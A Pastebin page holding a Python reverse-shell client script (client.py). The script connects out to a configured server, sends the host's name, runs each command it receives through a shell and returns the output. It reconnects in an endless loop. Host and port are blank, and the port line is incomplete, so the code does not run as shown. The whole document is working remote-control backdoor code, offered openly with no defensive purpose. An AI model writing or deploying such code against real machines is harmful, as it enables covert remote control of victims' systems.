Advertisement
Guest User

client.py

a guest
Sep 26th, 2016
187
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.14 KB | None | 0 0
  1. import os
  2. import socket
  3. import subprocess
  4. import time
  5. import signal
  6. import sys
  7. import struct
  8.  
  9. class Client(object):
  10.  
  11.     def __init__(self):
  12.         self.serverHost = ''
  13.         self.serverPort =
  14.         self.socket = None
  15.  
  16.     def register_signal_handler(self):
  17.         signal.signal(signal.SIGINT, self.quit_gracefully)
  18.         signal.signal(signal.SIGTERM, self.quit_gracefully)
  19.         return
  20.  
  21.     def quit_gracefully(self, signal=None, frame=None):
  22.         print('\nQuitting gracefully')
  23.         if self.socket:
  24.             try:
  25.                 self.socket.shutdown(2)
  26.                 self.socket.close()
  27.             except Exception as e:
  28.                 print('Could not close connection %s' % str(e))
  29.                 # continue
  30.         sys.exit(0)
  31.         return
  32.  
  33.     def socket_create(self):
  34.         """ Create a socket """
  35.         try:
  36.             self.socket = socket.socket()
  37.         except socket.error as e:
  38.             print("Socket creation error" + str(e))
  39.             return
  40.         return
  41.  
  42.     def socket_connect(self):
  43.         """ Connect to a remote socket """
  44.         try:
  45.             self.socket.connect((self.serverHost, self.serverPort))
  46.         except socket.error as e:
  47.             print("Socket connection error: " + str(e))
  48.             time.sleep(5)
  49.             raise
  50.         try:
  51.             self.socket.send(str.encode(socket.gethostname()))
  52.         except socket.error as e:
  53.             print("Cannot send hostname to server: " + str(e))
  54.             raise
  55.         return
  56.  
  57.     def print_output(self, output_str):
  58.         """ Prints command output """
  59.         sent_message = str.encode(output_str + str(os.getcwd()) + '> ')
  60.         self.socket.send(struct.pack('>I', len(sent_message)) + sent_message)
  61.         print(output_str)
  62.         return
  63.  
  64.     def receive_commands(self):
  65.         """ Receive commands from remote server and run on local machine """
  66.         try:
  67.             self.socket.recv(10)
  68.         except Exception as e:
  69.             print('Could not start communication with server: %s\n' %str(e))
  70.             return
  71.         cwd = str.encode(str(os.getcwd()) + '> ')
  72.         self.socket.send(struct.pack('>I', len(cwd)) + cwd)
  73.         while True:
  74.             output_str = None
  75.             data = self.socket.recv(20480)
  76.             if data == b'': break
  77.             elif data[:2].decode("utf-8") == 'cd':
  78.                 directory = data[3:].decode("utf-8")
  79.                 try:
  80.                     os.chdir(directory.strip())
  81.                 except Exception as e:
  82.                     output_str = "Could not change directory: %s\n" %str(e)
  83.                 else:
  84.                     output_str = ""
  85.             elif data[:].decode("utf-8") == 'quit':
  86.                 self.socket.close()
  87.                 break
  88.             elif len(data) > 0:
  89.                 try:
  90.                     cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE,
  91.                                            stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  92.                     output_bytes = cmd.stdout.read() + cmd.stderr.read()
  93.                     output_str = output_bytes.decode("utf-8", errors="replace")
  94.                 except Exception as e:
  95.                     # TODO: Error description is lost
  96.                     output_str = "Command execution unsuccessful: %s\n" %str(e)
  97.             if output_str is not None:
  98.                 try:
  99.                     self.print_output(output_str)
  100.                 except Exception as e:
  101.                     print('Cannot send command output: %s' %str(e))
  102.         self.socket.close()
  103.         return
  104.  
  105.  
  106. def main():
  107.     client = Client()
  108.     client.register_signal_handler()
  109.     client.socket_create()
  110.     while True:
  111.         try:
  112.             client.socket_connect()
  113.         except Exception as e:
  114.             print("Error on socket connections: %s" %str(e))
  115.             time.sleep(5)    
  116.         else:
  117.             break    
  118.     try:
  119.         client.receive_commands()
  120.     except Exception as e:
  121.         print('Error in main: ' + str(e))
  122.     client.socket.close()
  123.     return
  124.  
  125.  
  126. if __name__ == '__main__':
  127.     while True:
  128.         main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement